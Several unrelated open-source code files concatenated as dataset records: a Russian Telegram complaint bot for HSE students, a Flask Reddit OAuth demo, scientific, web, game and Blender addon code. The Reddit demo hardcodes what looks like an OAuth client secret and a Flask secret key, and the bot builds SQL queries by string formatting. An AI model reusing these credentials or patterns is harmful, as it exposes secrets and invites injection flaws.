\"Что-нибудь еще?\", reply_markup=markup)\n bot.register_next_step_handler(message, help_type)\n\n\ndef buttons_red_button(message):\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n item1 = types.KeyboardButton(\"Мне все еще нужна кнопка\")\n markup.add(item1)\n item2 = types.KeyboardButton(\"Обратно в меню\")\n markup.add(item2)\n\n text = \"Красная (или Выразительная) кнопка - это форма обращения к Управлению по организации процесса обучения. \" \\\n \"Ваша жалоба поступит напрямую в Управление, которое занимается организацией процесса обучения ВШЭ. \" \\\n \"Претензия будет передана в подразделение, компетенцией которого является решение указанной проблемы.\\n\\n\" \\\n \"Не рекомендуем использовать Выразительную кнопку, если есть возможность решить проблему иными способами: \" \\\n \"вы можете обратиться к академическому руководителю, в свой деканат или оставить жалобу в этом боте!\\n\\n\" \\\n \"Хотите продолжить?\"\n\n bot.send_message(message.chat.id, text, reply_markup=markup)\n bot.register_next_step_handler(message, buttons_red_final)\n\n\ndef buttons_red_final(message):\n if message.text == 'Мне все еще нужна кнопка':\n bot.send_message(\n message.chat.id,\n \"[Ссылка на красную кнопку]\"\n \"(https://lk.hse.ru/user-suggestions?_gl=1%2a1jiumcf%2a_ga%2aMTcwMjg1MTU3MS4xNjY5MjMwNzc1%2a_\"\n \"ga_P5QXNNXGKL%2aMTY2OTIzMDc3NC4xLjEuMTY2OTIzMDc5NC40MC4wLjA.)\",\n parse_mode=\"MarkdownV2\"\n )\n buttons_message(message)\n\n\n@bot.callback_query_handler(func=lambda call: True)\ndef callback_query(call):\n if call.data == \"cb_like\":\n # open the memes file and add link once again\n bot.answer_callback_query(call.id, \"Рад, что понравилось!\")\n elif call.data == \"cb_dislike\":\n bot.answer_callback_query(call.id, \"Спасибо за отзыв, учтем!\")\n\n\ndef done_complaint(message):\n global answers_positive, answers_negative, m_clf\n\n insertion = insert(complaints).values(\n complaint=info_by_chat_id[message.chat.id]['complaint'],\n faculty=info_by_chat_id[message.chat.id]['faculty'],\n year=info_by_chat_id[message.chat.id]['year']\n )\n with engine.connect() as conn:\n conn.execute(insertion)\n conn.commit()\n \n santiment = m_clf.predict(message.text)\n if santiment == 0:\n answer = random.choice(answers_negative)\n else:\n answer = random.choice(answers_positive)\n \n bot.send_message(message.chat.id, answer)\n buttons_message(message)\n\n\n@bot.callback_query_handler(func=lambda call: True)\ndef faculty_handler(message):\n msg = message.text\n\n if msg == \"Факультет гуманитарных наук\":\n info_by_chat_id[message.chat.id]['faculty'] = msg\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n markup.add(types.KeyboardButton(\"Филология\"), types.KeyboardButton(\"Дизайн\"))\n markup.add(types.KeyboardButton(\"Фундаментальная и прикладная лингвистика\"))\n markup.add(types.KeyboardButton(\"Иностранные языки и межкультурная бизнес-коммуникация\"))\n markup.add(types.KeyboardButton(\"Прикладная лингвистика и текстовая аналитика\"))\n markup.add(types.KeyboardButton(\"Современные филологические практики: поэтика, интерпретация, комментарий\"))\n bot.reply_to(\n message=message,\n text='Теперь выбери свою ОП',\n reply_markup=markup\n )\n bot.register_next_step_handler(message, faculty_handler)\n elif msg == \"Факультет права\":\n info_by_chat_id[message.chat.id]['faculty'] = msg\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n markup.add(types.KeyboardButton(\"Юриспруденция\"))\n markup.add(types.KeyboardButton(\"Правовое обеспечение и защита бизнеса\"))\n bot.reply_to(\n message=message,\n text='Теперь выбери свою ОП',\n reply_markup=markup\n )\n bot.register_next_step_handler(message, faculty_handler)\n elif msg == \"Факультет менеджмента\":\n info_by_chat_id[message.chat.id]['faculty'] = msg\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n markup.add(types.KeyboardButton(\"Управление бизнесом\"), types.KeyboardButton(\"Цифровой маркетинг\"))\n markup.add(types.KeyboardButton(\"Организация и управление предприятием\"))\n markup.add(types.KeyboardButton(\"Международный бакалавриат по бизнесу и экономике\"))\n markup.add(types.KeyboardButton(\"Управление развитием компании\"), types.KeyboardButton(\"Управление образованием\"))\n markup.add(types.KeyboardButton(\"Управление бизнесом в глобальных условиях\"), types.KeyboardButton(\"Маркетинг\"))\n markup.add(types.KeyboardButton(\"Управление организациями и проектами\"))\n bot.reply_to(\n message=message,\n text='Теперь выбери свою ОП',\n reply_markup=markup\n )\n bot.register_next_step_handler(message, faculty_handler)\n elif msg == \"Факультет экономики\":\n info_by_chat_id[message.chat.id]['faculty'] = msg\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n markup.add(types.KeyboardButton(\"Экономика\"), types.KeyboardButton(\"Международный бакалавриат по бизнесу и экономике\"))\n markup.add(types.KeyboardButton(\"Экономика и бизнес\"), types.KeyboardButton(\"Экономика и анализ бизнеса\"))\n markup.add(types.KeyboardButton(\"Финансы\"), types.KeyboardButton(\"Бизнес-аналитика в экономике и менеджменте\"))\n bot.reply_to(\n message=message,\n text='Теперь выбери свою ОП',\n reply_markup=markup\n )\n bot.register_next_step_handler(message, faculty_handler)\n elif msg == \"Факультет информатики, математики и компьютерных наук\":\n info_by_chat_id[message.chat.id]['faculty'] = msg\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n markup.add(types.KeyboardButton(\"Компьютерные науки и технологии\"), types.KeyboardButton(\"Программная инженерия\"))\n markup.add(types.KeyboardButton(\"Прикладная математика и информатика\"), types.KeyboardButton(\"Математика (бакалавриат)\"))\n markup.add(types.KeyboardButton(\"Интеллектуальный анализ данных\"), types.KeyboardButton(\"Бизнес-информатика\"))\n markup.add(types.KeyboardButton(\"Магистр по компьютерному зрению\"), types.KeyboardButton(\"Математика (магистратура)\"))\n bot.reply_to(\n message=message,\n text='Теперь выбери свою ОП',\n reply_markup=markup\n )\n bot.register_next_step_handler(message, faculty_handler)\n elif msg in [str(i) for i in range(1, 5)]:\n info_by_chat_id[message.chat.id]['year'] = msg\n insertion = insert(users).values(\n chat_id=message.chat.id,\n faculty=info_by_chat_id[message.chat.id]['faculty'],\n specialisation=info_by_chat_id[message.chat.id]['specialisation'],\n year=info_by_chat_id[message.chat.id]['year']\n )\n with engine.connect() as conn:\n conn.execute(insertion)\n conn.commit()\n\n if info_by_chat_id[message.chat.id]['action'] == 'help':\n bot.register_next_step_handler(message, help_type)\n elif info_by_chat_id[message.chat.id]['action'] == 'complaint':\n bot.register_next_step_handler(message, done_complaint)\n else:\n info_by_chat_id[message.chat.id]['specialisation'] = msg\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=6)\n for i in range(1, 5):\n markup.add(types.KeyboardButton(str(i)))\n bot.reply_to(\n message=message,\n text='Теперь выбери свой курс',\n reply_markup=markup\n )\n bot.register_next_step_handler(message, faculty_handler)\n\n\ndef faculty_markup():\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n markup.add(types.KeyboardButton(\"Факультет гуманитарных наук\"), types.KeyboardButton(\"Факультет права\"))\n markup.add(types.KeyboardButton(\"Факультет менеджмента\"), types.KeyboardButton(\"Факультет экономики\"))\n markup.add(types.KeyboardButton(\"Факультет информатики, математики и компьютерных наук\"))\n return markup\n\n\n# @bot.message_handler(content_types=[\"text\"])\n# def echo(message):\n# bot.send_message(message.chat.id, message.text)\n\n\ndef gen_markup():\n markup = types.InlineKeyboardMarkup()\n markup.row_width = 2\n markup.add(\n types.InlineKeyboardButton(\"👍\", callback_data=\"cb_like\"),\n types.InlineKeyboardButton(\"👎\", callback_data=\"cb_dislike\")\n )\n return markup\n\n\ndef get_complaint(message):\n info_by_chat_id[message.chat.id]['complaint'] = message.text\n with engine.connect() as conn:\n res = conn.execute(text(f'select * from users where chat_id = {message.chat.id}')).fetchall()\n if res:\n print(res)\n info_by_chat_id[message.chat.id]['faculty'] = res[0][1]\n info_by_chat_id[message.chat.id]['specialisation'] = res[0][2]\n info_by_chat_id[message.chat.id]['year'] = res[0][3]\n done_complaint(message)\n else:\n bot.send_message(\n message.chat.id,\n \"Чтобы завершить регистрацию проблемы, выбери свой факультет\",\n reply_markup=faculty_markup()\n )\n info_by_chat_id[message.chat.id]['action'] = 'complaint'\n bot.register_next_step_handler(message, faculty_handler)\n\n\n@bot.callback_query_handler(func=lambda call: True)\ndef help_handler(message):\n def separate_values(values):\n return \"\\n\".join(values.item().split(', '))\n\n global mails\n info = mails[mails[\"Направление\"] == info_by_chat_id[message.chat.id][\"specialisation\"]]\n if info.empty:\n bot.send_message(message.chat.id, \"К сожалению, твоей ОП еще нет в списке\")\n buttons_more_help(message)\n\n if message.text == \"Помощь деканата\":\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n markup.add(types.KeyboardButton(\"Номер менеджера ОП\"))\n markup.add(types.KeyboardButton(\"Почта менеджера ОП\"))\n markup.add(types.KeyboardButton(\"Время работы деканата\"))\n markup.add(types.KeyboardButton(\"Обратно в меню\"))\n bot.reply_to(\n message=message,\n text=\"Выбери способ связи\",\n reply_markup=markup\n )\n bot.register_next_step_handler(message, help_handler)\n\n elif message.text == \"Помощь академического руководителя\":\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n markup.add(types.KeyboardButton(\"Почта академического руководителя\"))\n markup.add(types.KeyboardButton(\"Обратно в меню\"))\n bot.reply_to(\n message=message,\n text=\"Выбери способ связи\",\n reply_markup=markup\n )\n bot.register_next_step_handler(message, help_handler)\n\n elif message.text == \"Номер менеджера ОП\":\n bot.reply_to(\n message=message,\n text=f'{separate_values(info[\"ФИО менеджера ОП\"])}\\n'\n f'{separate_values(info[\"Номер менеджера ОП\"])}'\n )\n buttons_more_help(message)\n elif message.text == \"Почта менеджера ОП\":\n bot.reply_to(\n message=message,\n text=f'{separate_values(info[\"ФИО менеджера ОП\"])}\\n'\n f'{separate_values(info[\"Почта менеджера ОП\"])}'\n )\n buttons_more_help(message)\n elif message.text == \"Время работы деканата\":\n bot.reply_to(\n message=message,\n text=f'{separate_values(info[\"ФИО менеджера ОП\"])}\\n'\n f'{separate_values(info[\"Время работы деканата\"])}'\n )\n buttons_more_help(message)\n\n elif message.text == \"Почта академического руководителя\":\n bot.reply_to(\n message=message,\n text=f'{separate_values(info[\"ФИО академичеcкого руководителя\"].values)}\\n'\n f'{separate_values(info[\"Почта академического руководителя\"].values)}'\n )\n buttons_more_help(message)\n\n elif message.text == \"Обратно в меню\":\n buttons_message(message)\n\n\ndef help_type(message):\n if message.text == 'Обратно в меню':\n buttons_message(message)\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n markup.add(types.KeyboardButton(\"Помощь деканата\"))\n markup.add(types.KeyboardButton(\"Помощь академического руководителя\"))\n markup.add(types.KeyboardButton(\"Обратно в меню\"))\n bot.send_message(message.chat.id, \"Чья помощь тебе необходима?\", reply_markup=markup)\n bot.register_next_step_handler(message, help_handler)\n\n\ndef memes_reader(path):\n with open(path, encoding='utf-8') as mf:\n memes = mf.readlines()\n return memes\n\n\n@bot.message_handler(func=lambda msg: msg.text in (\n \"Мне нужна красная кнопка\", \"Рассмеши меня\", \"Личная помощь\", \"Обратиться к Вышке\"\n))\ndef messages_button_reply(message):\n # красную кнопку в отдельную функцию\n if message.text == \"Мне нужна красная кнопка\":\n buttons_red_button(message)\n\n elif message.text == \"Рассмеши меня\":\n buttons_funny(message)\n bot.register_next_step_handler(message, send_more)\n\n elif message.text == \"Обратиться к Вышке\":\n bot.send_message(message.chat.id, \"Опиши свою проблему\", reply_markup=types.ReplyKeyboardRemove())\n bot.register_next_step_handler(message, get_complaint)\n\n elif message.text == \"Личная помощь\":\n with engine.connect() as conn:\n res = conn.execute(text(f'select * from users where chat_id = {message.chat.id}')).fetchall()\n if res:\n print(res)\n info_by_chat_id[message.chat.id]['specialisation'] = res[0][2]\n help_type(message)\n else:\n bot.send_message(\n message.chat.id,\n \"Выбери свой факультет\",\n reply_markup=faculty_markup()\n )\n info_by_chat_id[message.chat.id]['action'] = 'help'\n bot.register_next_step_handler(message, faculty_handler)\n\n\ndef send_more(message):\n global memes\n\n if message.text in [\"Хочу мем\", \"Еще мем\", \"Теперь мем\"]:\n bot.send_photo(message.chat.id, random.choice(memes), reply_markup=gen_markup())\n buttons_more_funny(message)\n\n elif message.text in [\"Хочу цитату\", \"Еще цитату\", \"Теперь цитату\"]:\n bot.send_message(\n message.chat.id,\n random.choice(jokes),\n reply_markup=gen_markup()\n )\n buttons_more_cites(message)\n\n elif message.text == \"Обратно в меню\":\n buttons_message(message)\n\n\n@bot.message_handler(commands=['start'])\ndef start_message(message):\n bot.send_message(\n message.chat.id,\n \"Привет, я бот получения жалоб и комплиментов.\\n\"\n \"Здесь ты можешь высказать свою жалобу или комплимент относительно учебы в НИУ ВШЭ НН.\\n\"\n \"Также мы можем предложить тебе психологическую поддержку в виде мема:)\\n\"\n \"Введи команду /button\"\n )\n\n\nif __name__ == \"__main__\":\n memes = memes_reader(\"memes.txt\")\n mails = pd.read_csv('mails.csv')\n jokes = pd.read_csv('jokes.csv')['joke'].to_list()\n bot.infinity_polling()\n answers = pd.read_csv('answers.csv')\n answers_positive = answers['positive'].to_list()\n answers_negative = answers['negative'].to_list()\n m_clf = MessageClassifier('clf.pkl', 'tfidf.pkl')\n","repo_name":"mcgrozov/complaint_hse_bot","sub_path":"complaint_hse_bot_main.py","file_name":"complaint_hse_bot_main.py","file_ext":"py","file_size_in_byte":21090,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"72978995041","text":"from datetime import datetime\nimport json\nimport requests\n\nfrom flask import Flask, redirect, request, session, jsonify\n\n# date, campaign, spend, clicks, impressions\n\napp = Flask(__name__)\napp.config[\"SECRET_KEY\"] = \"tajni kljuc\"\napp.config[\"DEBUG\"] = True\n\nCLIENT_ID = \"1Yn1t8lFcixJSw\"\nCLIENT_SECRET = \"uMMpmJYAO2lbU88SYpBaVkDFLngBdQ\"\nREDIRECT_URL = \"http://localhost:3000/reddit_redirect\"\n\nTIME_FORMAT = \"%Y-%m-%d\"\nGROUP_BY_SET = {\n \"ad_id\",\n \"ad_group_id\",\n \"campaign_id and/or one of date\",\n \"country\",\n \"metro\",\n \"interest\",\n \"community\",\n \"placement\",\n}\n\n\n@app.route(\"/give_access\")\ndef give_reddit_access():\n url = \"https://www.reddit.com/api/v1/access_token\"\n duration = \"permanent\"\n scope = \"adsread identity\"\n random_string = \"asdsad\"\n\n url = f\"https://www.reddit.com/api/v1/authorize?client_id={CLIENT_ID}&response_type=code&state={random_string}&redirect_uri={REDIRECT_URL}&duration={duration}&scope={scope}\"\n\n return redirect(url)\n\n\n@app.route(\"/reddit_redirect\")\ndef reddit_redirect():\n print(request.args)\n if request.args.get(\"code\"):\n session[\"code\"] = request.args[\"code\"]\n return \"You've managed to get reddit user data\"\n\n\n@app.route(\"/get_access_token\")\ndef get_access_token():\n url = \"https://www.reddit.com/api/v1/access_token\"\n headers = {\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n \"User-Agent\": \"WinsdorTest\",\n }\n auth = requests.auth.HTTPBasicAuth(\n username=CLIENT_ID,\n password=CLIENT_SECRET,\n )\n data = {\n \"grant_type\": \"authorization_code\",\n \"code\": session[\"code\"],\n \"redirect_uri\": REDIRECT_URL,\n }\n\n response = requests.post(\n url,\n headers=headers,\n auth=auth,\n data=data,\n )\n\n data = response.json()\n print(data)\n session[\"access_token\"] = data[\"access_token\"]\n session[\"refresh_token\"] = data[\"refresh_token\"]\n return response.text\n\n\n@app.route(\"/refresh_access_token\")\ndef refresh_access_token():\n url = \"https://www.reddit.com/api/v1/access_token\"\n headers = {\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n \"User-Agent\": \"WinsdorTest\",\n }\n auth = requests.auth.HTTPBasicAuth(\n username=CLIENT_ID,\n password=CLIENT_SECRET,\n )\n data = {\n \"grant_type\": \"refresh_token\",\n \"refresh_token\": session[\"refresh_token\"],\n }\n\n response = requests.post(\n url,\n headers=headers,\n auth=auth,\n data=data,\n )\n\n data = response.json()\n session[\"access_token\"] = data[\"access_token\"]\n return response.text\n\n\n@app.route(\"/accounts/t2_/reports\")\ndef get_reports(account_id):\n with open(\"./data.json\", \"r\") as file:\n start_date = request.args.get(\"start_date\")\n end_date = request.args.get(\"end_date\")\n group_by = request.args.get(\"group_by\")\n time_zone_id = request.args.get(\"time_zone_id\")\n reports_data = json.load(file)[\"reports\"]\n\n if start_date:\n start_date = datetime.strptime(start_date, TIME_FORMAT)\n if end_date:\n end_date = datetime.strptime(end_date, TIME_FORMAT)\n\n user_reports = reports_data.get(account_id) or {\"data\": []}\n return jsonify(user_reports)\n\n\n@app.route(\"/accounts/t2_/campaigns\")\n@app.route(\"/accounts/t2_/campaigns/\")\ndef get_campaigns(account_id, campaign_id=None):\n with open(\"./data.json\", \"r\") as file:\n campaign_data = json.load(file)[\"campaigns\"].get(account_id) or {\"data\": []}\n print(campaign_data)\n\n if not campaign_id:\n return jsonify(campaign_data)\n\n for campaign in campaign_data[\"data\"]:\n if campaign[\"id\"] == campaign_id:\n return jsonify({\"data\": campaign})\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=3000)\n","repo_name":"JBarti/RedditOAuth","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3895,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"71093599841","text":"import pandas as pd\nfrom copy import deepcopy\n\nclass Experiment:\n \"\"\" Represents a physical experiment and is passed to the optimizer and error minimization\n classes for running fits of models and to the error analyzer class for subsequent analysis \n of the fitted parameter errors. Implements the data in the form of a pandas dataframe.\n Data set to be read must be .csv. \"\"\"\n\n def __init__(self, experiment_type=None, data_file=None, construct=None, x=None, y=None, **kwargs):\n self.experiment_type = experiment_type\n self.data_file = data_file\n self.construct = construct\n self.x = x\n self.y = y\n for k in kwargs:\n setattr(self, k, kwargs[k])\n\n try:\n self.load_data()\n except:\n print('Cannot load data file; data_file variable set to something other than .csv file')\n pass\n\n def load_data(self):\n self.data = pd.read_csv(self.data_file)\n\n def filter_data(self, expression):\n self.data = self.data.query(expression)\n\n def sparse_data(self, sparsing=1):\n self.data = self.data.iloc[::sparsing][:]\n\n def scale_concentrations(self, scaling_factor=1e-6):\n variables= ['Protein', 'Receptor', 'Substrate', 'Ligand']\n for v in variables:\n if v in self.data.columns:\n self.data.loc[:,v] = self.data.loc[:,v]*scaling_factor","repo_name":"robharkness/biophysics","sub_path":"biophysics/experiment.py","file_name":"experiment.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"10771191795","text":"from app import db\nfrom flask_login import UserMixin, AnonymousUserMixin\nfrom datetime import datetime\nfrom flask import jsonify\n\n\nclass Resource(db.Model, UserMixin):\n __tablename__ = 'SYRESOURCE'\n __mapper_args__ = {\n # \"order_by\": 'SEQ'\n }\n ID = db.Column(db.String(36), primary_key=True)\n CREATEDATETIME = db.Column(db.DateTime, index=True, default=datetime.now)\n UPDATEDATETIME = db.Column(db.DateTime, index=True, default=datetime.now)\n NAME = db.Column(db.String(100))\n URL = db.Column(db.String(200))\n PATH = db.Column(db.String(200))\n PERMS = db.Column(db.String(150))\n DESCRIPTION = db.Column(db.String(200))\n ICONCLS = db.Column(db.String(100))\n SEQ = db.Column(db.Integer)\n TARGET = db.Column(db.String(100))\n\n SYRESOURCETYPE_ID = db.Column(db.String, db.ForeignKey('SYRESOURCETYPE.ID'))\n\n SYRESOURCE_ID = db.Column(db.String, db.ForeignKey('SYRESOURCE.ID'))\n\n parent = db.relationship('Resource', remote_side=[ID], backref='resource', uselist=False)\n\n children = db.relationship('Resource')\n\n STATUS = db.Column(db.String(10))\n\n def get_id(self):\n return str(self.ID)\n\n def to_json(self):\n return {\n 'menuId': self.ID,\n 'createTime': self.CREATEDATETIME,\n 'updateTime': self.UPDATEDATETIME,\n 'menuName': self.NAME,\n 'component': self.URL,\n 'description': self.DESCRIPTION,\n 'icon': self.ICONCLS,\n 'orderNum': self.SEQ,\n 'target': self.TARGET,\n 'parentId': self.get_pid(),\n 'syresourcetype': self.get_type_json(),\n 'status': self.STATUS,\n 'visible': '0',\n 'isFrame': '1',\n 'path': self.PATH,\n 'perms': self.PERMS,\n 'isCache': '1',\n # 类型(M目录 C菜单 F按钮)\n 'menuType': 'F' if self.SYRESOURCETYPE_ID == '1' else 'C' if self.SYRESOURCETYPE_ID == '0' else 'M'\n }\n\n def to_tree_select_json(self):\n return {\n 'id': self.ID,\n 'label': self.NAME,\n 'children': [res.to_tree_select_json() for res in self.children]\n }\n\n def to_router_json(self):\n router = {\n 'seq': self.SEQ,\n 'name': self.PATH.capitalize(),\n 'path': self.PATH,\n 'hidden': False,\n 'redirect': 'noRedirect',\n 'component': self.URL,\n 'alwaysShow': True,\n 'meta': {\n 'title': self.NAME,\n 'icon': self.ICONCLS,\n 'noCache': False,\n 'link': ''\n },\n 'children': [\n res.to_router_json() for res in self.children if res.type.ID == '3' or res.type.ID == '0'\n ]\n }\n # print(router['children'])\n if not router['children']:\n del router['children']\n del router['redirect']\n del router['alwaysShow']\n if not router['component']:\n router['component'] = 'Layout'\n\n # sorted_list = sorted(router, key=lambda x: x['seq'])\n # print(router)\n # print(type(router))\n return router\n\n def to_menu_json(self):\n return {\n 'id': self.ID,\n 'iconCls': self.ICONCLS,\n 'pid': self.get_pid(),\n 'state': 'open',\n 'checked': False,\n 'attributes': {\n 'target': self.TARGET,\n 'url': self.URL\n },\n 'text': self.NAME\n }\n\n def get_pid(self):\n if self.parent:\n return self.parent.ID\n return ''\n\n def get_type_json(self):\n if self.type:\n return self.type.to_json()\n return {}\n\n def __repr__(self):\n return '\\n' % (self.NAME, self.URL)\n\n","repo_name":"iloveSichuang/601backedge","sub_path":"app/models/Resource.py","file_name":"Resource.py","file_ext":"py","file_size_in_byte":3860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"32098383349","text":"from django.urls import re_path\nfrom django.views.generic import RedirectView\n\nfrom catalog import views\n\n\nurlpatterns = [\n re_path(r'^$', views.index, name='index'),\n re_path(r'^about/$', views.about, name='about'),\n re_path(r'^by-(?P[a-z0-9-]+)/$', views.report, name='report'),\n re_path(r'^by-(?P[a-z0-9-]+)/(?P[a-z0-9-]+)/$',\n views.report_details, name='report_details'),\n re_path(r'^(?P[a-z0-9-]+)/$',\n views.category, name='category'),\n re_path(r'^(?P[a-z0-9-]+)/(?P[a-z0-9-]+)/$',\n views.item, name='item'),\n re_path(r'^default\\.asp$', RedirectView.as_view(pattern_name='index')),\n re_path(r'^item\\.asp$', views.legacy_item, name='legacy_item'),\n]\n","repo_name":"bgalbraith/nincatalog","sub_path":"catalog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"3152423222","text":"from random import choice\nimport os\n\n\ntotal_score = 0\n\ninitial_balance = 1200\nprint(f\"your initial-bank balance {initial_balance}\")\nDeal = int(input(\"Select dealing amount : \\n$50\\n$60\\n$70\\n$100\\n\"))\n\nif Deal == 50 or Deal == 60 or Deal == 70 or Deal == 100:\n initial_balance -= Deal\n os.system(\"clear\")\n print(f\"your balance {initial_balance}\")\n\nelse:\n print(\"Select Valid amount ! \")\n\nblackjack_cards = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 11]\nplayer = []\ncomputer = []\ntrue_or_false = True\ni = 0\nwhile i < 2:\n player.append(choice(blackjack_cards))\n computer.append(choice(blackjack_cards))\n i += 1\nprint(f\"your cards {player},current score : {sum(player)}\")\n# print(computer)\nwhile true_or_false:\n select_option = input(\"Type 'y' to get another card, type 'n' to pass : \")\n\n if select_option == \"n\" or select_option == \"N\":\n true_or_false = False\n os.system(\"clear\")\n print(f\"your final hand {player}, your score : {sum(player)}\")\n print(f\"computers final hand {computer},computer score {sum(computer)}\")\n if sum(player) > sum(computer) and sum(player) < 21:\n print(\"you win\")\n elif sum(player) == sum(computer):\n print(\"draw\")\n else:\n print(\"computer win, you loose\")\n os.system(\"clear\")\n\n elif select_option == \"Y\" or select_option == \"y\":\n player.append(choice(blackjack_cards))\n\n print(f\"your cards {player},current score : {sum(player)}\")\n print(f\"computer first card :{computer[0]}\")\n if sum(player) >= 21:\n print(f\"your final hand {player}, your score : {sum(player)}\")\n print(f\"computers final hand {computer},computer score {sum(computer)}\")\n if sum(player) > sum(computer) and sum(player) < 21:\n print(\"you win\")\n elif sum(player) == sum(computer):\n print(\"draw\")\n else:\n print(\"computer win, you loose\")\n break\n\n else:\n print(\"Select valid option \")\n","repo_name":"dvlpr2003/blackjack-game","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"70274147361","text":"#====================== BEGIN GPL LICENSE BLOCK ======================\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 3\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n#\n#======================= END GPL LICENSE BLOCK ========================\n\n# \n\n# Create a nice UI on Armatures for the bones layers\n\nimport bpy # pylint: disable=import-error\n\nclass DUIK_PT_armature_options( bpy.types.Panel ):\n bl_label = \"Duik Layers UI\"\n bl_idname = \"DUIK_PT_armature_options\"\n bl_space_type = 'PROPERTIES'\n bl_region_type = 'WINDOW'\n bl_context = \"data\"\n\n @classmethod\n def poll(cls, context):\n return context.object.type == 'ARMATURE'\n\n def draw(self, context):\n layout = self.layout\n\n obj = context.object\n armature = obj.data\n\n layout.prop( armature, 'duik_rig_type' )\n layout.separator(factor=1.0)\n layout.prop( armature, 'duik_layers_arm_ikfk')\n layout.prop( armature, 'duik_layers_leg_ikfk')\n\nclass DUIK_PT_rig_layers( bpy.types.Panel ):\n bl_space_type = 'VIEW_3D'\n bl_region_type = 'UI'\n bl_label = \"Duik Layers\"\n bl_idname = \"DUIK_PT_rig_layers\"\n bl_category = 'View'\n\n @classmethod\n def poll(self, context):\n obj = context.object\n if obj is None:\n return False\n return context.object.type == 'ARMATURE'\n \n def draw(self, context):\n layout = self.layout\n\n armature = context.active_object.data\n rig_type = armature.duik_rig_type\n\n if rig_type != 'custom':\n\n layout.prop(context.active_object.data, 'layers', index=0, toggle=True, text='All')\n layout.separator()\n layout.prop(context.active_object.data, 'layers', index=4, toggle=True, text='Head')\n\n if rig_type == 'biped' or rig_type == 'quadruped' or rig_type == 'insect':\n layout.prop(context.active_object.data, 'layers', index=21, toggle=True, text='Face')\n \n if rig_type == 'biped' or rig_type == 'quadruped':\n if ( armature.duik_layers_arm_ikfk ):\n col = layout.column(align=True)\n row = col.row(align=True)\n row.prop(context.active_object.data, 'layers', index=2, toggle=True, text='Arm.R (IK)')\n row.prop(context.active_object.data, 'layers', index=6, toggle=True, text='Arm.L (IK)')\n row = col.row(align=True)\n row.prop(context.active_object.data, 'layers', index=1, toggle=True, text='Arm.R (FK)')\n row.prop(context.active_object.data, 'layers', index=7, toggle=True, text='Arm.L (FK)')\n else:\n row = layout.row(align=True)\n row.prop(context.active_object.data, 'layers', index=2, toggle=True, text='Arm.R')\n row.prop(context.active_object.data, 'layers', index=6, toggle=True, text='Arm.L')\n\n row = layout.row(align=True)\n row.prop(context.active_object.data, 'layers', index=3, toggle=True, text='Hand.R')\n row.prop(context.active_object.data, 'layers', index=5, toggle=True, text='Hand.L')\n \n layout.prop(context.active_object.data, 'layers', index=20, toggle=True, text='Spine')\n \n if ( armature.duik_layers_leg_ikfk ):\n col = layout.column(align=True)\n row = col.row(align=True)\n row.prop(context.active_object.data, 'layers', index=17, toggle=True, text='Leg.R (IK)')\n row.prop(context.active_object.data, 'layers', index=22, toggle=True, text='Leg.L (IK)')\n row = col.row(align=True)\n row.prop(context.active_object.data, 'layers', index=16, toggle=True, text='Leg.R (FK)')\n row.prop(context.active_object.data, 'layers', index=23, toggle=True, text='Leg.L (FK)')\n else:\n row = layout.row(align=True)\n row.prop(context.active_object.data, 'layers', index=17, toggle=True, text='Leg.R')\n row.prop(context.active_object.data, 'layers', index=22, toggle=True, text='Leg.L')\n\n if rig_type == 'quadruped':\n layout.prop(context.active_object.data, 'layers', index=18, toggle=True, text='Tail')\n\n layout.separator()\n\n layout.prop(context.active_object.data, 'layers', index=19, toggle=True, text='Root')\n\nclasses = (\n DUIK_PT_armature_options,\n DUIK_PT_rig_layers,\n)\n\ndef register():\n # register\n for cls in classes:\n bpy.utils.register_class(cls)\n\ndef unregister():\n # unregister\n for cls in reversed(classes):\n bpy.utils.unregister_class(cls)\n","repo_name":"RxLaboratory/Bluik","sub_path":"bluik/ui_layers.py","file_name":"ui_layers.py","file_ext":"py","file_size_in_byte":5283,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"54"} +{"seq_id":"875386509","text":"import os\nimport sys\n\ntry:\n import unittest\n import gi\n\n gi.require_version(\"Modulemd\", \"2.0\")\n from gi.repository import Modulemd\nexcept ImportError:\n # Return error 77 to skip this test on platforms without the necessary\n # python modules\n sys.exit(77)\n\nfrom base import TestBase\n\n\nclass TestDefaults(TestBase):\n def test_constructors(self):\n # Test that the new() function works\n defs = Modulemd.Defaults.new(Modulemd.DefaultsVersionEnum.ONE, \"foo\")\n assert defs\n\n assert defs.props.mdversion == 